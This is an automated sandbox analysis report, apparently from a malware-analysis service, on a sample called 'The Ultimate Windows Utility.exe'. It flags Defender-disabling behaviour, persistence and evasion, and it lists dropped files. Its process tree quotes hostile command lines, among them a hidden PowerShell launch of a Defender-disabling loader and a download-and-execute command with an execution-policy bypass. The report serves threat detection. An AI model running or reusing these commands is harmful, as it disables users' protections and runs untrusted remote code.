Overview

overview

10

Static

static

3

The Ultima...ty.exe

windows10-2004-x64

10

The Ultima...ty.exe

windows11-ltsc_2024-x64

10

Analysis

  • geolocation tags

    nanew-jerseynorth-americaunited-statesususa
  • user interaction
    yes
  • max time kernel
    614s
  • max time network
    599s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-es
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-eslocale:es-esos:windows11-ltsc_2024-x64systemwindows
  • submitted
    10/07/2026, 03:07

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    The Ultimate Windows Utility.exe
  • Size 2.6MB
  • Sample260710-dmpghsdw8v
  • SHA256 8f14617135a2c49699bf6d07d2a377baef956c8356998f61772f51810ed35b7d
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoveryexecutiondefendnothacktoolinstallerpersistenceprivilege_escalationransomwareupx

Malware Config

Signatures

  • Family: Defendnot

    Defendnot is a tool designed to disable Microsoft Defender.

    hacktooldefendnot
  • Detects Defendnot 1 IoCs
  • Badlisted process makes network request 38 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

    execution
  • Drops file in Drivers directory 4 IoCs
  • Manipulates Digital Signatures 1 TTPs 5 IoCs

    Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to make their binary seem validly signed.

  • Executes dropped EXE 16 IoCs
  • Loads dropped DLL 26 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Drops file in System32 directory 37 IoCs
  • UPX packed file 9 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 11 IoCs
  • Subvert Trust Controls: Mark-of-the-Web Bypass 1 TTPs 3 IoCs

    When files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.

    defense_evasion
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Inno Setup is an open-source installation builder for Windows applications. 7 IoCs

    Inno Setup installer

    installer
  • NSIS installer 4 IoCs
    installer
  • Checks SCSI registry key(s) 3 TTPs 64 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 42 IoCs
  • Modifies registry class 8 IoCs
  • NTFS ADS 7 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
    ransomware
  • Runs .reg file with regedit 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 25 IoCs
  • Suspicious behavior: LoadsDriver 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 56 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 46 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\The Ultimate Windows Utility.exe
    "C:\Users\Admin\AppData\Local\Temp\The Ultimate Windows Utility.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4296
    • C:\Users\Admin\AppData\Local\Temp\RarSFX0\SenseAadAuthenticator.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\SenseAadAuthenticator.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4168
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\8851.tmp\8852.tmp\8853.bat C:\Users\Admin\AppData\Local\Temp\RarSFX0\SenseAadAuthenticator.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3148
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "Start-Process 'defendnot-loader.exe' -ArgumentList '-n microsoft360-enable','--silent','--autorun-as-user' -NoNewWindow"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3896
          • C:\Users\Admin\AppData\Local\Temp\RarSFX0\defendnot-loader.exe
            "defendnot-loader.exe" -n microsoft360-enable --silent --autorun-as-user
            5⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:2696
            • C:\Windows\SYSTEM32\Taskmgr.exe
              Taskmgr.exe
              6⤵
              • Loads dropped DLL
              PID:3732
    • C:\Users\Admin\AppData\Local\Temp\RarSFX0\The UltimateWindowsUtility.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\The UltimateWindowsUtility.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3872
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\90DC.tmp\90DD.tmp\90DE.bat "C:\Users\Admin\AppData\Local\Temp\RarSFX0\The UltimateWindowsUtility.exe""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5376
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -Command "iwr -useb https://christitus.com/win | iex"
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Loads dropped DLL
          • Drops file in Program Files directory
          • Drops file in Windows directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:6044
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xk3soeqx\xk3soeqx.cmdline"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:6056
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA733.tmp" "c:\Users\Admin\AppData\Local\Temp\xk3soeqx\CSC30CB539A2CE64BA097A9BFF2447F7D6.TMP"
              6⤵
                PID:5112
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\nxq2dvxv\nxq2dvxv.cmdline"
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:4964
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEC04.tmp" "c:\Users\Admin\AppData\Local\Temp\nxq2dvxv\CSC66BD6F9B8BD94C488CAB2AA7BC56E42B.TMP"
                6⤵
                  PID:928
              • C:\Windows\System32\Dism\dismhost.exe
                C:\Windows\System32\Dism\dismhost.exe {8249F8A6-748D-4BD7-916D-C5206C0348CD}
                5⤵
                • Drops file in Windows directory
                • Suspicious use of AdjustPrivilegeToken
                PID:5136
              • C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.29.280.0_x64__8wekyb3d8bbwe\winget.exe
                "winget.exe" ----version
                5⤵
                  PID:5920
                • C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.29.280.0_x64__8wekyb3d8bbwe\winget.exe
                  "winget.exe" ----version
                  5⤵
                    PID:5500
                  • C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.29.280.0_x64__8wekyb3d8bbwe\winget.exe
                    "C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\winget.exe" install TechPowerUp.GPU-Z Insecure.Nmap --accept-package-agreements --source winget --silent
                    5⤵
                    • Subvert Trust Controls: Mark-of-the-Web Bypass
                    • Modifies registry class
                    • NTFS ADS
                    • Suspicious use of WriteProcessMemory
                    PID:3416
                    • C:\Users\Admin\AppData\Local\Temp\WinGet\TechPowerUp.GPU-Z.2.70.0\GPU-Z.2.70.0.exe
                      "C:\Users\Admin\AppData\Local\Temp\WinGet\TechPowerUp.GPU-Z.2.70.0\GPU-Z.2.70.0.exe" -installSilent
                      6⤵
                      • Executes dropped EXE
                      • System Location Discovery: System Language Discovery
                      • NTFS ADS
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of SetWindowsHookEx
                      • Suspicious use of WriteProcessMemory
                      PID:2604
                      • C:\Users\Admin\AppData\Local\Temp\gpuz_installer.exe
                        "C:\Users\Admin\AppData\Local\Temp\\gpuz_installer.exe" /SILENT
                        7⤵
                        • Executes dropped EXE
                        • System Location Discovery: System Language Discovery
                        • Suspicious use of WriteProcessMemory
                        PID:1464
                        • C:\Users\Admin\AppData\Local\Temp\is-E421S.tmp\gpuz_installer.tmp
                          "C:\Users\Admin\AppData\Local\Temp\is-E421S.tmp\gpuz_installer.tmp" /SL5="$90246,832512,832512,C:\Users\Admin\AppData\Local\Temp\gpuz_installer.exe" /SILENT
                          8⤵
                          • Executes dropped EXE
                          • System Location Discovery: System Language Discovery
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of FindShellTrayWindow
                          PID:4732
                    • C:\Users\Admin\AppData\Local\Temp\WinGet\Insecure.Nmap.7.80\nmap-7.80-setup.exe
                      "C:\Users\Admin\AppData\Local\Temp\WinGet\Insecure.Nmap.7.80\nmap-7.80-setup.exe" /S
                      6⤵
                      • Executes dropped EXE
                      • Drops file in Program Files directory
                      • System Location Discovery: System Language Discovery
                      • Suspicious use of WriteProcessMemory
                      PID:4680
                      • C:\Users\Admin\AppData\Local\Temp\nsv8207.tmp\npcap-0.9982-oem.exe
                        "C:\Users\Admin\AppData\Local\Temp\nsv8207.tmp\npcap-0.9982-oem.exe" /S /winpcap_mode=no
                        7⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        • Drops file in System32 directory
                        • Drops file in Program Files directory
                        • System Location Discovery: System Language Discovery
                        • Suspicious use of WriteProcessMemory
                        PID:4284
                        • C:\Windows\SysWOW64\certutil.exe
                          certutil -addstore -f "TrustedPublisher" "C:\Users\Admin\AppData\Local\Temp\nsl8F17.tmp\Insecure-SHA1.cer"
                          8⤵
                          • Manipulates Digital Signatures
                          • System Location Discovery: System Language Discovery
                          PID:4792
                        • C:\Windows\SysWOW64\certutil.exe
                          certutil -addstore -f "TrustedPublisher" "C:\Users\Admin\AppData\Local\Temp\nsl8F17.tmp\Insecure-EV.cer"
                          8⤵
                          • Manipulates Digital Signatures
                          • System Location Discovery: System Language Discovery
                          PID:4144
                        • C:\Program Files\Npcap\NPFInstall.exe
                          "C:\Program Files\Npcap\NPFInstall.exe" -n -c
                          8⤵
                          • Executes dropped EXE
                          • Suspicious use of WriteProcessMemory
                          PID:4160
                          • C:\Windows\SYSTEM32\pnputil.exe
                            pnputil.exe -e
                            9⤵
                              PID:4016
                          • C:\Program Files\Npcap\NPFInstall.exe
                            "C:\Program Files\Npcap\NPFInstall.exe" -n -iw
                            8⤵
                            • Executes dropped EXE
                            PID:5756
                          • C:\Program Files\Npcap\NPFInstall.exe
                            "C:\Program Files\Npcap\NPFInstall.exe" -n -i
                            8⤵
                            • Drops file in Drivers directory
                            • Executes dropped EXE
                            • Drops file in System32 directory
                            • Drops file in Windows directory
                            • Checks SCSI registry key(s)
                            PID:4568
                          • C:\Program Files\Npcap\NPFInstall.exe
                            "C:\Program Files\Npcap\NPFInstall.exe" -n -il
                            8⤵
                            • Executes dropped EXE
                            • Drops file in System32 directory
                            • Drops file in Windows directory
                            • Checks SCSI registry key(s)
                            • Suspicious use of AdjustPrivilegeToken
                            • Suspicious use of WriteProcessMemory
                            PID:2868
                            • C:\Windows\SYSTEM32\netsh.exe
                              netsh.exe interface show interface
                              9⤵
                              • Event Triggered Execution: Netsh Helper DLL
                              PID:2472
                          • C:\Windows\SysWOW64\SCHTASKS.EXE
                            SCHTASKS.EXE /Create /F /RU SYSTEM /SC ONSTART /TN npcapwatchdog /TR "'C:\Program Files\Npcap\CheckStatus.bat'" /NP
                            8⤵
                            • System Location Discovery: System Language Discovery
                            • Scheduled Task/Job: Scheduled Task
                            PID:3936
                        • C:\Windows\SysWOW64\regedt32.exe
                          regedt32 /S "C:\Users\Admin\AppData\Local\Temp\nsv8207.tmp\nmap_performance.reg"
                          7⤵
                          • System Location Discovery: System Language Discovery
                          • Suspicious use of WriteProcessMemory
                          PID:1996
                          • C:\Windows\SysWOW64\regedit.exe
                            "C:\Windows\regedit.exe" /S "C:\Users\Admin\AppData\Local\Temp\nsv8207.tmp\nmap_performance.reg"
                            8⤵
                            • System Location Discovery: System Language Discovery
                            • Runs .reg file with regedit
                            PID:4836
            • C:\Users\Admin\AppData\Local\Temp\RarSFX0\defendnot-loader.exe
              C:\Users\Admin\AppData\Local\Temp\RarSFX0\defendnot-loader.exe
              1⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:6020
              • C:\Windows\SYSTEM32\Taskmgr.exe
                Taskmgr.exe
                2⤵
                • Loads dropped DLL
                PID:1128
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c pause
                2⤵
                  PID:1404
              • C:\Program Files\Windows Defender\MpCmdRun.exe
                "C:\Program Files\Windows Defender\MpCmdRun.exe" -wdenable
                1⤵
                • Drops file in Windows directory
                PID:4616
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k GPSvcGroup
                1⤵
                  PID:2180
                • C:\Windows\system32\wevtutil.exe
                  "C:\Windows\system32\wevtutil.exe" install-manifest "C:\Program Files\WindowsApps\Microsoft.WindowsAppRuntime.1.8_8000.616.304.0_x64__8wekyb3d8bbwe\EventLog-Instrumentation.man" /resourceFilePath:"C:\Program Files\WindowsApps\Microsoft.WindowsAppRuntime.1.8_8000.616.304.0_x64__8wekyb3d8bbwe\WindowsAppSdk.AppxDeploymentExtensions.Desktop-EventLog-Instrumentation.dll" /messageFilePath:"C:\Program Files\WindowsApps\Microsoft.WindowsAppRuntime.1.8_8000.616.304.0_x64__8wekyb3d8bbwe\WindowsAppSdk.AppxDeploymentExtensions.Desktop-EventLog-Instrumentation.dll" /unicode:true
                  1⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3416
                • C:\Windows\System32\svchost.exe
                  C:\Windows\System32\svchost.exe -k AppReadiness -p -s AppReadiness
                  1⤵
                    PID:1108
                  • C:\Windows\System32\rundll32.exe
                    C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                    1⤵
                      PID:940
                    • C:\Windows\system32\DrvInst.exe
                      DrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{aa4863c2-6b22-4a41-bad9-caca4f780eb9}\NPCAP.inf" "9" "405306be3" "00000000000000E0" "WinSta0\Default" "0000000000000168" "208" "C:\Program Files\Npcap"
                      1⤵
                      • Drops file in System32 directory
                      • Drops file in Windows directory
                      • Checks SCSI registry key(s)
                      • Modifies data under HKEY_USERS
                      PID:5048
                    • C:\Windows\system32\DrvInst.exe
                      DrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\System32\DriverStore\FileRepository\netloop.inf_amd64_768107cfce81988e\netloop.inf" "netloop.inf:db04a16c8f2dc9fb:kmloop.ndi:10.0.26100.1:*msloop," "4632877cf" "0000000000000194" "bd1f"
                      1⤵
                      • Drops file in Drivers directory
                      • Drops file in System32 directory
                      • Drops file in Windows directory
                      • Checks SCSI registry key(s)
                      • Suspicious use of AdjustPrivilegeToken
                      PID:6064
                    • C:\Windows\System32\svchost.exe
                      C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s Netman
                      1⤵
                      • Modifies data under HKEY_USERS
                      PID:2564
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c reg query "HKLM\Software\WOW6432Node\Npcap" /ve 2>nul | find "REG_SZ"
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2272
                      • C:\Windows\system32\reg.exe
                        reg query "HKLM\Software\WOW6432Node\Npcap" /ve
                        2⤵
                          PID:940
                        • C:\Windows\system32\find.exe
                          find "REG_SZ"
                          2⤵
                            PID:3852
                        • C:\Windows\System32\Wbem\WMIC.exe
                          wmic.exe nic GET Name,NetConnectionID
                          1⤵
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3932
                        • C:\Windows\system32\find.exe
                          find "Npcap Loopback Adapter"
                          1⤵
                            PID:2240
                          • C:\Windows\system32\OpenWith.exe
                            C:\Windows\system32\OpenWith.exe -Embedding
                            1⤵
                            • Modifies registry class
                            • Suspicious use of SetWindowsHookEx
                            • Suspicious use of WriteProcessMemory
                            PID:4784
                            • C:\Windows\system32\NOTEPAD.EXE
                              "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\90DC.tmp\90DD.tmp\90DF.tmp
                              2⤵
                              • Opens file in notepad (likely ransom note)
                              PID:5032
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\90DC.tmp\90DD.tmp\90DE.bat" "
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:3852
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              powershell -NoProfile -ExecutionPolicy Bypass -Command "iwr -useb https://christitus.com/win | iex"
                              2⤵
                              • Badlisted process makes network request
                              • Command and Scripting Interpreter: PowerShell
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              • Suspicious use of FindShellTrayWindow
                              • Suspicious use of WriteProcessMemory
                              PID:2360
                              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\tuq4jugc\tuq4jugc.cmdline"
                                3⤵
                                • Suspicious use of WriteProcessMemory
                                PID:3932
                                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD437.tmp" "c:\Users\Admin\AppData\Local\Temp\tuq4jugc\CSC8EAC0EDD66724D57BBB52178141797DD.TMP"
                                  4⤵
                                    PID:4828
                                • C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.29.280.0_x64__8wekyb3d8bbwe\winget.exe
                                  "C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\winget.exe" install Insecure.Nmap --accept-package-agreements --source winget --silent
                                  3⤵
                                  • Modifies registry class
                                  PID:1776
                                • C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.29.280.0_x64__8wekyb3d8bbwe\winget.exe
                                  "C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\winget.exe" install Insecure.Nmap --accept-package-agreements --source winget --silent
                                  3⤵
                                  • Modifies registry class
                                  PID:1284
                                • C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.29.280.0_x64__8wekyb3d8bbwe\winget.exe
                                  "C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\winget.exe" install CPUID.CPU-Z Insecure.Nmap --accept-package-agreements --source winget --silent
                                  3⤵
                                  • Subvert Trust Controls: Mark-of-the-Web Bypass
                                  • Modifies registry class
                                  • NTFS ADS
                                  • Suspicious use of WriteProcessMemory
                                  PID:4056
                                  • C:\Users\Admin\AppData\Local\Temp\WinGet\CPUID.CPU-Z.2.20\cpu-z_2.20-en.exe
                                    "C:\Users\Admin\AppData\Local\Temp\WinGet\CPUID.CPU-Z.2.20\cpu-z_2.20-en.exe" /SP- /VERYSILENT /SUPPRESSMSGBOXES /NORESTART /LOG="C:\Users\Admin\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\LocalState\DiagOutputDir\CPUID.CPU-Z.2.20-26-07-09-23-18-16.log"
                                    4⤵
                                    • Executes dropped EXE
                                    • System Location Discovery: System Language Discovery
                                    • Suspicious use of WriteProcessMemory
                                    PID:3720
                                    • C:\Users\Admin\AppData\Local\Temp\is-LGQRE.tmp\cpu-z_2.20-en.tmp
                                      "C:\Users\Admin\AppData\Local\Temp\is-LGQRE.tmp\cpu-z_2.20-en.tmp" /SL5="$8004C,3917753,776192,C:\Users\Admin\AppData\Local\Temp\WinGet\CPUID.CPU-Z.2.20\cpu-z_2.20-en.exe" /SP- /VERYSILENT /SUPPRESSMSGBOXES /NORESTART /LOG="C:\Users\Admin\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\LocalState\DiagOutputDir\CPUID.CPU-Z.2.20-26-07-09-23-18-16.log"
                                      5⤵
                                      • Executes dropped EXE
                                      • System Location Discovery: System Language Discovery
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of FindShellTrayWindow
                                      • Suspicious use of WriteProcessMemory
                                      PID:5596
                                      • C:\Users\Admin\AppData\Local\Temp\is-7B0B8.tmp\_isetup\_setup64.tmp
                                        helper 105 0x440
                                        6⤵
                                        • Executes dropped EXE
                                        PID:1280
                            • C:\Windows\System32\SecurityHealthHost.exe
                              \\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding
                              1⤵
                                PID:4488

                              Network

                                    MITRE ATT&CK Enterprise v16

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    npcap.cat
                                    • Path C:\PROGRA~1\Npcap\npcap.cat
                                    • Size 10KB
                                    • SHA256 6446c6868113115652f11098982dfb548b3b36a54a3a14dc84a91ae9efc945a5
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    npcap.sys
                                    • Path C:\PROGRA~1\Npcap\npcap.sys
                                    • Size 78KB
                                    • SHA256 8c9413971a6860ddb6945367122a26390a69e836eb4051d5933620a729215348
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    index.theme
                                    • Path C:\Program Files (x86)\Nmap\py2exe\share\icons\hicolor\index.theme
                                    • Size 21KB
                                    • SHA256 a4dfe3c4193014577207c4bbcf9a511238ba6d05665322e253f0fe599290c5fb
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    gtkrc
                                    • Path C:\Program Files (x86)\Nmap\py2exe\share\themes\Default\gtk-2.0-key\gtkrc
                                    • Size 82B
                                    • SHA256 dcdbb5a775eb9dbf659d80b6694d381a822af3665706c3ed7488b84d95eb8f8a
                                    • MD5 SHA1 SHA512 TLSH
                                    Submit Download

                                    gtkrc
                                    • Path C:\Program Files (x86)\Nmap\py2exe\share\themes\MS-Windows\gtk-2.0\gtkrc
                                    • Size 1KB
                                    • SHA256 e9dd3015f76e05f185ebe7564d364aef8b8168b05e62421c99875e14e4597977
                                    • MD5 SHA1 SHA512 TLSH
                                    Submit Download

                                    cpuz.exe
                                    • Path C:\Program Files\CPUID\CPU-Z\cpuz.exe
                                    • Size 7.0MB
                                    • SHA256 3386723ff7e72681399974cda9588a7aab541d5ab46af5d3750f15c9bef5260b
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    unins000.exe
                                    • Path C:\Program Files\CPUID\CPU-Z\unins000.exe
                                    • Size 3.0MB
                                    • SHA256 9dc09c4d320f54772a5aa61f2cae4db781660f0912ae8fcbaa1a70b046b93e75
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    NPCAP.inf
                                    • Path C:\Program Files\Npcap\NPCAP.inf
                                    • Size 8KB
                                    • SHA256 abb46a0cadb06401714e4f1c6a4432d847123598d319ae7e373df4a4cc66f841
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    NPCAP_wfp.inf
                                    • Path C:\Program Files\Npcap\NPCAP_wfp.inf
                                    • Size 2KB
                                    • SHA256 5251f1614a3efba174907beb30af04620cf6919c70a47c4ca357d22656fdb36e
                                    • MD5 SHA1 SHA512 TLSH
                                    Submit Download

                                    NPFInstall.exe
                                    • Path C:\Program Files\Npcap\NPFInstall.exe
                                    • Size 264KB
                                    • SHA256 cdc33956c14661b2d8d92ca8b954506ddb78102d24a6e68c9bd3138433088c69
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    NPFInstall.log
                                    • Path C:\Program Files\Npcap\NPFInstall.log
                                    • Size 479B
                                    • SHA256 a73c680982266b832c52b6659555182913dc39078b671265209e9b92d028a8af
                                    • MD5 SHA1 SHA512 TLSH
                                    Submit Download

                                    NPFInstall.log
                                    • Path C:\Program Files\Npcap\NPFInstall.log
                                    • Size 1KB
                                    • SHA256 f26837ab7b9a36d0a890dd7124c5b087daf09be00c3301f06325fb2664bfd471
                                    • MD5 SHA1 SHA512 TLSH
                                    Submit Download

                                    NPFInstall.log
                                    • Path C:\Program Files\Npcap\NPFInstall.log
                                    • Size 1KB
                                    • SHA256 acb48d456a0a3a184510a6ff81dca03182b236ede6c8cd62d0a26b6b5940f1c3
                                    • MD5 SHA1 SHA512 TLSH
                                    Submit Download

                                    NPFInstall.log
                                    • Path C:\Program Files\Npcap\NPFInstall.log
                                    • Size 2KB
                                    • SHA256 c7b75e7d50f4f3d0b5f223582b55991c6d150e00e42629cab792c74feabe58d4
                                    • MD5 SHA1 SHA512 TLSH
                                    Submit Download

                                    NPFInstall.log
                                    • Path C:\Program Files\Npcap\NPFInstall.log
                                    • Size 2KB
                                    • SHA256 324704f355455d172ff628dfa678c2fbb1485e255322113aac87a83f5c26abb5
                                    • MD5 SHA1 SHA512 TLSH
                                    Submit Download

                                    NPFInstall.log
                                    • Path C:\Program Files\Npcap\NPFInstall.log
                                    • Size 3KB
                                    • SHA256 dcb66192e4f7a7a56924c8a19f036b1fded2219094e999c2fd0ee5fa98ec2dd1
                                    • MD5 SHA1 SHA512 TLSH
                                    Submit Download

                                    NPFInstall.log
                                    • Path C:\Program Files\Npcap\NPFInstall.log
                                    • Size 3KB
                                    • SHA256 84b8b4256ab971dd4ab0ad3f5dc48dc5cf77bd7ed47b78c3792fc5a02bc274b3
                                    • MD5 SHA1 SHA512 TLSH
                                    Submit Download

                                    NPFInstall.log
                                    • Path C:\Program Files\Npcap\NPFInstall.log
                                    • Size 3KB
                                    • SHA256 de88f7b6b7973465490e1db9eedcf7a0db219edc59bb319ad95fd91fd1502627
                                    • MD5 SHA1 SHA512 TLSH
                                    Submit Download

                                    NPFInstall.log
                                    • Path C:\Program Files\Npcap\NPFInstall.log
                                    • Size 4KB
                                    • SHA256 a809e723c990b849d21d67d5d783160e56b41be42685fdbe281eec61d7710a4b
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    StartupProfileData-NonInteractive
                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                    • Size 1KB
                                    • SHA256 9e2e11b45a68ab3614fb2b5ae84f9bec9e5638950f0446e20d5c2f7c7880c2dd
                                    • MD5 SHA1 SHA512 TLSH
                                    Submit Download

                                    8853.bat
                                    • Path C:\Users\Admin\AppData\Local\Temp\8851.tmp\8852.tmp\8853.bat
                                    • Size 189B
                                    • SHA256 e87588321343d49f9472ee53ca7567bc08cb52c7e81852f5f492fcdc29834c67
                                    • MD5 SHA1 SHA512 TLSH
                                    Submit Download

                                    90DE.bat
                                    • Path C:\Users\Admin\AppData\Local\Temp\90DC.tmp\90DD.tmp\90DE.bat
                                    • Size 493B
                                    • SHA256 bde9e3b8ccdcb31ba454dcfbccc4b1d42b9385d199e27e88801e50d0a27ddab0
                                    • MD5 SHA1 SHA512 TLSH
                                    Submit Download

                                    niyiny2r.zpf
                                    • Path C:\Users\Admin\AppData\Local\Temp\Microsoft.PackageManagement\niyiny2r.zpf
                                    • Size 810B
                                    • SHA256 3a5b53e1432339fffade772213ee60c728d385d3b0a51e2968a92ab8e62fbb71
                                    • MD5 SHA1 SHA512 TLSH
                                    Submit Download

                                    zeqnfu5o.h3x
                                    • Path C:\Users\Admin\AppData\Local\Temp\Microsoft.PackageManagement\zeqnfu5o.h3x
                                    • Size 1KB
                                    • SHA256 5990b841a5f3756f945adaa9d2e590759757b05794e54962ef50edb62a5049d5
                                    • MD5 SHA1 SHA512 TLSH
                                    Submit Download

                                    RESA733.tmp
                                    • Path C:\Users\Admin\AppData\Local\Temp\RESA733.tmp
                                    • Size 1KB
                                    • SHA256 8a0aa89db71e961219ad54ea89593bd472d939e4b4cf19664c0d83afecdc95bd
                                    • MD5 SHA1 SHA512 TLSH
                                    Submit Download

                                    RESEC04.tmp
                                    • Path C:\Users\Admin\AppData\Local\Temp\RESEC04.tmp
                                    • Size 1KB
